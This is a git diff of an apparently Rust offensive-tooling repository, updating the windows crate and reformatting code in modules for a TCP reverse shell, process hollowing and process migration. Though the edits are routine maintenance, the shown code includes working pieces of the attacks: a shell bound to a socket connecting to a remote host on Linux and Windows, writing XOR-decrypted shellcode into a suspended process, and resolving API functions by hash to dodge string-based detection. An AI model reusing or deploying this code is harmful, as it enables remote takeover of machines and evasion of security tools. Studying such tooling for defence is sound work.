diff --git a/Cargo.lock b/Cargo.lock index c3f3114..b606c29 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -22,9 +22,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "getrandom" -version = "0.2.8" +version = "0.2.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c05aeb6a22b8f62540c194aac980f2115af067bfe15a0734d7277a768d396b31" +checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" dependencies = [ "cfg-if", "libc", @@ -41,9 +41,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.140" +version = "0.2.147" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "99227334921fae1a979cf0bfdfcc6b3e5ce376ef57e16fb6fb3ea2ed6095f80c" +checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3" [[package]] name = "memoffset" @@ -136,7 +136,7 @@ version = "0.2.0" [[package]] name = "rco_utils" -version = "1.2.2" +version = "1.2.3" dependencies = [ "rand", "windows", @@ -150,7 +150,7 @@ checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" [[package]] name = "tcp_reverse_shell" -version = "1.5.3" +version = "1.5.4" dependencies = [ "rco_config", "rco_utils", @@ -165,18 +165,28 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "windows" -version = "0.47.0" +version = "0.51.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2649ff315bee4c98757f15dac226efe3d81927adbb6e882084bb1ee3e0c330a7" +checksum = "ca229916c5ee38c2f2bc1e9d8f04df975b4bd93f9955dc69fabb5d91270045c9" +dependencies = [ + "windows-core", + "windows-targets", +] + +[[package]] +name = "windows-core" +version = "0.51.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1f8cf84f35d2db49a46868f947758c7a1138116f7fac3bc844f43ade1292e64" dependencies = [ "windows-targets", ] [[package]] name = "windows-targets" -version = "0.47.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2f8996d3f43b4b2d44327cd71b7b0efd1284ab60e6e9d0e8b630e18555d87d3e" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" dependencies = [ "windows_aarch64_gnullvm", "windows_aarch64_msvc", @@ -189,45 +199,45 @@ dependencies = [ [[package]] name = "windows_aarch64_gnullvm" -version = "0.47.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "831d567d53d4f3cb1db332b68e6e2b6260228eb4d99a777d8b2e8ed794027c90" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] name = "windows_aarch64_msvc" -version = "0.47.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a42d54a417c60ce4f0e31661eed628f0fa5aca73448c093ec4d45fab4c51cdf" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] name = "windows_i686_gnu" -version = "0.47.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1925beafdbb22201a53a483db861a5644123157c1c3cee83323a2ed565d71e3" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] name = "windows_i686_msvc" -version = "0.47.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3a8ef8f2f1711b223947d9b69b596cf5a4e452c930fb58b6fc3fdae7d0ec6b31" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] name = "windows_x86_64_gnu" -version = "0.47.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7acaa0c2cf0d2ef99b61c308a0c3dbae430a51b7345dedec470bd8f53f5a3642" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] name = "windows_x86_64_gnullvm" -version = "0.47.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e5a0628f71be1d11e17ca4a0e9e15b3a5180f6fbf1c2d55e3ba3f850378052c1" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] name = "windows_x86_64_msvc" -version = "0.47.0" +version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d6e62c256dc6d40b8c8707df17df8d774e60e39db723675241e7c15e910bce7" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] name = "xor_params" diff --git a/process_hollowing/Cargo.toml b/process_hollowing/Cargo.toml index ce70fd2..f445d96 100644 --- a/process_hollowing/Cargo.toml +++ b/process_hollowing/Cargo.toml @@ -25,8 +25,9 @@ rco_utils = {path = "../rco_utils", version = ">=1.0.1"} nix = ">=0.16" [target.'cfg(windows)'.dependencies] -windows.version = ">=0.47.0" +windows.version = ">=0.51.0" windows.features = [ + "Wdk_System_Threading", "Win32_Foundation", "Win32_Security", "Win32_System_Diagnostics_Debug", diff --git a/process_hollowing/src/main.rs b/process_hollowing/src/main.rs index 2320544..67ca7ac 100644 --- a/process_hollowing/src/main.rs +++ b/process_hollowing/src/main.rs @@ -42,7 +42,8 @@ fn main() { // Decrypts the shellcode and target process or returns them unchanged, dependent on features let shellcode = rco_utils::xor_encrypt_decrypt(rco_config::XOR_KEY, SHELLCODE).unwrap(); - let target_process = rco_utils::xor_encrypt_decrypt(rco_config::XOR_KEY, TARGET_PROCESS).unwrap(); + let target_process = + rco_utils::xor_encrypt_decrypt(rco_config::XOR_KEY, TARGET_PROCESS).unwrap(); let target_process = str::from_utf8(&target_process).unwrap(); // Runs whichever version of the attack was compiled diff --git a/process_hollowing/src/process_hollowing_windows.rs b/process_hollowing/src/process_hollowing_windows.rs index c0e3282..d08924b 100644 --- a/process_hollowing/src/process_hollowing_windows.rs +++ b/process_hollowing/src/process_hollowing_windows.rs @@ -1,10 +1,11 @@ use core::ffi::c_void; use std::ptr; use windows::core::{PCSTR, PSTR}; +use windows::Wdk::System::Threading::{NtQueryInformationProcess, PROCESSINFOCLASS}; use windows::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory}; use windows::Win32::System::Threading::{ - CreateProcessA, NtQueryInformationProcess, ResumeThread, CREATE_SUSPENDED, PROCESSINFOCLASS, - PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, STARTUPINFOA, + CreateProcessA, ResumeThread, CREATE_SUSPENDED, PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, + STARTUPINFOA, }; const E_LFANEW_OFFSET: usize = 0x3C; @@ -36,7 +37,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { &mut process_information, ) }; - if !creation_result.as_bool() { + if creation_result.is_err() { panic!("Could not create the suspended {target_process} with CreateProcessA"); } @@ -71,7 +72,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { None, ) }; - if !read_result.as_bool() { + if read_result.is_err() { panic!("Could not read the address of the code base with ReadProcessMemory"); } @@ -88,7 +89,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { None, ) }; - if !read_result.as_bool() { + if read_result.is_err() { panic!("Could not read the DOS header with ReadProcessMemory"); } else if header_buffer[0] as char != 'M' || header_buffer[1] as char != 'Z' { panic!("An offset looks incorrect, the DOS header magic bytes don't correspond to 'MZ'"); @@ -110,7 +111,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { None, ) }; - if !write_result.as_bool() { + if write_result.is_err() { panic!("Could not write the shellcode to the suspended {target_process} with WriteProcessMemory"); } diff --git a/process_hollowing/src/process_hollowing_windows_antistring.rs b/process_hollowing/src/process_hollowing_windows_antistring.rs index 7fabf56..e8b24a5 100644 --- a/process_hollowing/src/process_hollowing_windows_antistring.rs +++ b/process_hollowing/src/process_hollowing_windows_antistring.rs @@ -1,11 +1,12 @@ use core::ffi::c_void; use std::ptr; use windows::core::{PCSTR, PSTR}; +use windows::Wdk::System::Threading::PROCESSINFOCLASS; use windows::Win32::Foundation::{BOOL, HANDLE}; use windows::Win32::Security::SECURITY_ATTRIBUTES; use windows::Win32::System::Threading::{ - CREATE_SUSPENDED, PROCESSINFOCLASS, PROCESS_BASIC_INFORMATION, PROCESS_CREATION_FLAGS, - PROCESS_INFORMATION, STARTUPINFOA, + CREATE_SUSPENDED, PROCESS_BASIC_INFORMATION, PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, + STARTUPINFOA, }; const E_LFANEW_OFFSET: usize = 0x3C; diff --git a/process_migration/Cargo.toml b/process_migration/Cargo.toml index 669e5a5..39a4024 100644 --- a/process_migration/Cargo.toml +++ b/process_migration/Cargo.toml @@ -24,7 +24,7 @@ rco_utils = {path = "../rco_utils", version = ">=1.0.1"} nix = ">=0.16" [target.'cfg(windows)'.dependencies] -windows.version = ">=0.47.0" +windows.version = ">=0.51.0" windows.features = [ "Win32_Foundation", "Win32_Security", diff --git a/process_migration/src/main.rs b/process_migration/src/main.rs index fa783ea..3f91687 100644 --- a/process_migration/src/main.rs +++ b/process_migration/src/main.rs @@ -42,7 +42,8 @@ fn main() { // Decrypts the shellcode and target process or returns them unchanged, dependent on features let shellcode = rco_utils::xor_encrypt_decrypt(rco_config::XOR_KEY, SHELLCODE).unwrap(); - let target_process = rco_utils::xor_encrypt_decrypt(rco_config::XOR_KEY, TARGET_PROCESS).unwrap(); + let target_process = + rco_utils::xor_encrypt_decrypt(rco_config::XOR_KEY, TARGET_PROCESS).unwrap(); let target_process = str::from_utf8(&target_process).unwrap(); // Runs whichever version of the attack was compiled diff --git a/process_migration/src/process_migration_windows.rs b/process_migration/src/process_migration_windows.rs index 347c609..5785a9b 100644 --- a/process_migration/src/process_migration_windows.rs +++ b/process_migration/src/process_migration_windows.rs @@ -28,7 +28,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { dwSize: mem::size_of::() as u32, ..Default::default() }; - while unsafe { Process32Next(snapshot, &mut process_entry).as_bool() } { + while unsafe { Process32Next(snapshot, &mut process_entry).is_ok() } { let mut process_name = String::from(""); for element in process_entry.szExeFile { if element == 0 { @@ -80,7 +80,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { None, ) }; - if !write_result.as_bool() { + if write_result.is_err() { panic!("WriteProcessMemory failed"); } diff --git a/process_migration/src/process_migration_windows_antistring.rs b/process_migration/src/process_migration_windows_antistring.rs index d4cc791..17518b7 100644 --- a/process_migration/src/process_migration_windows_antistring.rs +++ b/process_migration/src/process_migration_windows_antistring.rs @@ -20,7 +20,8 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { // See line 20 let function = rco_utils::find_function_address(kernel32, 0x4cf400a249844bee).unwrap(); - let function = rco_utils::construct_win32_function!(function; [HANDLE, &mut PROCESSENTRY32]; [BOOL]); + let function = + rco_utils::construct_win32_function!(function; [HANDLE, &mut PROCESSENTRY32]; [BOOL]); let mut pid = 0_u32; let mut process_entry = PROCESSENTRY32 { dwSize: mem::size_of::() as u32, diff --git a/rco_utils/Cargo.toml b/rco_utils/Cargo.toml index 8372992..b997d4e 100644 --- a/rco_utils/Cargo.toml +++ b/rco_utils/Cargo.toml @@ -19,7 +19,7 @@ antistring = ["windows"] rand.optional = true rand.version = ">=0.8.5" windows.optional = true -windows.version = ">=0.47.0" +windows.version = ">=0.51.0" windows.features = [ "Win32_Foundation", "Win32_Networking", diff --git a/rco_utils/src/lib.rs b/rco_utils/src/lib.rs index b2a1ab0..4efb73b 100644 --- a/rco_utils/src/lib.rs +++ b/rco_utils/src/lib.rs @@ -72,7 +72,6 @@ pub fn calculate_hash(t: &T) -> u64 { s.finish() } - /* Helper function for XOR - makes two slices the same length by repeating the shorter till it's the length of the longer */ @@ -94,7 +93,10 @@ fn equalize_slice_len(slice_one: &[T], slice_two: &[T]) -> */ #[cfg(all(windows, feature = "antistring"))] -pub fn find_function_address(library_base_usize: usize, name_hash: u64) -> Result<*const (), Box> { +pub fn find_function_address( + library_base_usize: usize, + name_hash: u64, +) -> Result<*const (), Box> { // Get a pointer to the DOS header let dos_header: *const IMAGE_DOS_HEADER = library_base_usize as *const IMAGE_DOS_HEADER; @@ -113,9 +115,12 @@ pub fn find_function_address(library_base_usize: usize, name_hash: u64) -> Resul (library_base_usize + export_directory_rva as usize) as *const IMAGE_EXPORT_DIRECTORY; // Calculate the base addresses of the arrays holding function information - let names_address = unsafe { library_base_usize + (*image_export_directory).AddressOfNames as usize }; - let ordinals_address = unsafe { library_base_usize + (*image_export_directory).AddressOfNameOrdinals as usize }; - let functions_address = unsafe { library_base_usize + (*image_export_directory).AddressOfFunctions as usize }; + let names_address = + unsafe { library_base_usize + (*image_export_directory).AddressOfNames as usize }; + let ordinals_address = + unsafe { library_base_usize + (*image_export_directory).AddressOfNameOrdinals as usize }; + let functions_address = + unsafe { library_base_usize + (*image_export_directory).AddressOfFunctions as usize }; // Loop over every function looking for the desired name let num_functions = unsafe { (*image_export_directory).NumberOfFunctions }; @@ -130,7 +135,8 @@ pub fn find_function_address(library_base_usize: usize, name_hash: u64) -> Resul let function_name_rva: u32 = unsafe { ptr::read(function_name_rva_address) as u32 }; // Calculate the function name's real address - let function_name_address: *const i8 = (library_base_usize + function_name_rva as usize) as *const i8; + let function_name_address: *const i8 = + (library_base_usize + function_name_rva as usize) as *const i8; // Read the function name from its address let function_name = unsafe { CStr::from_ptr(function_name_address).to_string_lossy() }; @@ -151,13 +157,16 @@ pub fn find_function_address(library_base_usize: usize, name_hash: u64) -> Resul let into_functions = mem::size_of::() * (ordinal_offset as usize); // Calculate the function address's location - let function_address_rva_address: *const usize = (functions_address + into_functions) as *const usize; + let function_address_rva_address: *const usize = + (functions_address + into_functions) as *const usize; // Read the function address's location from memory - let function_address_rva: u32 = unsafe { ptr::read(function_address_rva_address) as u32 }; + let function_address_rva: u32 = + unsafe { ptr::read(function_address_rva_address) as u32 }; // Calculate the function's real address - let function_address: *const () = (library_base_usize + function_address_rva as usize) as *const (); + let function_address: *const () = + (library_base_usize + function_address_rva as usize) as *const (); return Ok(function_address); } @@ -177,7 +186,7 @@ pub fn find_library_address(dll: &str) -> Result> { Ok(value) => value, Err(_) => panic!("Could not load {lib_filename:?}"), }; - + Ok(library_base.0 as usize) } diff --git a/tcp_reverse_shell/Cargo.toml b/tcp_reverse_shell/Cargo.toml index 1d5d4ff..c0f4eea 100644 --- a/tcp_reverse_shell/Cargo.toml +++ b/tcp_reverse_shell/Cargo.toml @@ -20,7 +20,7 @@ rco_config = {path = "../rco_config", version = ">=0.2.0"} rco_utils = {path = "../rco_utils", version = ">=1.0.1"} [target.'cfg(windows)'.dependencies] -windows.version = ">=0.47.0" +windows.version = ">=0.51.0" windows.features = [ "Win32_Foundation", "Win32_Security", diff --git a/tcp_reverse_shell/src/reverse_shell_linux.rs b/tcp_reverse_shell/src/reverse_shell_linux.rs index 01d7305..0ea6982 100644 --- a/tcp_reverse_shell/src/reverse_shell_linux.rs +++ b/tcp_reverse_shell/src/reverse_shell_linux.rs @@ -14,9 +14,9 @@ pub fn shell(ip: &str, port: u16) { // Open shell and set the file descriptor for stdin/stdout/stderr to the stream's file descriptor Command::new("/bin/sh") .arg("-i") - .stdin( Stdio::from(fd.try_clone().unwrap()) ) - .stdout( Stdio::from(fd.try_clone().unwrap()) ) - .stderr( Stdio::from(fd) ) + .stdin(Stdio::from(fd.try_clone().unwrap())) + .stdout(Stdio::from(fd.try_clone().unwrap())) + .stderr(Stdio::from(fd)) .spawn() .unwrap() .wait() diff --git a/tcp_reverse_shell/src/reverse_shell_windows.rs b/tcp_reverse_shell/src/reverse_shell_windows.rs index 425f36f..6d34748 100644 --- a/tcp_reverse_shell/src/reverse_shell_windows.rs +++ b/tcp_reverse_shell/src/reverse_shell_windows.rs @@ -1,6 +1,6 @@ use core::ffi::c_void; -use std::mem; use std::ffi::CStr; +use std::mem; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::HANDLE; use windows::Win32::Networking::WinSock::{ @@ -29,16 +29,7 @@ pub fn shell(ip: &str, port: u16) { // Call WSASocket to create a socket // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.WSASocketA.html - let socket = unsafe { - WSASocketA( - AF_INET.0.into(), - SOCK_STREAM.0, - IPPROTO_TCP.0, - None, - 0, - 0, - ) - }; + let socket = unsafe { WSASocketA(AF_INET.0 as i32, SOCK_STREAM.0, IPPROTO_TCP.0, None, 0, 0) }; // Call inet_pton to populate the sockaddr_in.sin_addr field, which is needed as part of the socket connection // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton @@ -65,7 +56,13 @@ pub fn shell(ip: &str, port: u16) { // Connect the socket! // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.connect.html - let connection_result = unsafe { connect(socket, &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, mem::size_of::() as _) }; + let connection_result = unsafe { + connect( + socket, + &sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR, + mem::size_of::() as _, + ) + }; if connection_result != 0 { panic!("Unable to call connect to the remote socket") } @@ -106,7 +103,7 @@ pub fn shell(ip: &str, port: u16) { &mut PROCESS_INFORMATION::default(), ) }; - if !create_res.as_bool() { + if create_res.is_err() { panic!("Could not start cmd.exe process"); } } diff --git a/tcp_reverse_shell/src/reverse_shell_windows_antistring.rs b/tcp_reverse_shell/src/reverse_shell_windows_antistring.rs index 27b45bb..2074f06 100644 --- a/tcp_reverse_shell/src/reverse_shell_windows_antistring.rs +++ b/tcp_reverse_shell/src/reverse_shell_windows_antistring.rs @@ -3,7 +3,7 @@ use std::{mem, ptr}; use windows::core::{PCSTR, PSTR}; use windows::Win32::Foundation::{BOOL, HANDLE}; use windows::Win32::Networking::WinSock::{ - WSADATA, AF_INET, IPPROTO_TCP, SOCKADDR, SOCKADDR_IN, SOCKET, SOCK_STREAM, WSAPROTOCOL_INFOA, + AF_INET, IPPROTO_TCP, SOCKADDR, SOCKADDR_IN, SOCKET, SOCK_STREAM, WSADATA, WSAPROTOCOL_INFOA, }; use windows::Win32::Security::SECURITY_ATTRIBUTES; use windows::Win32::System::Threading::{ @@ -55,7 +55,8 @@ pub fn shell(ip: &str, port: u16) { // See line 77 let function = rco_utils::find_function_address(ws2_32, 0xcbfa974b4e43f414).unwrap(); - let function = rco_utils::construct_win32_function!(function; [SOCKET, *const SOCKADDR, i32]; [i32]); + let function = + rco_utils::construct_win32_function!(function; [SOCKET, *const SOCKADDR, i32]; [i32]); unsafe { function( socket,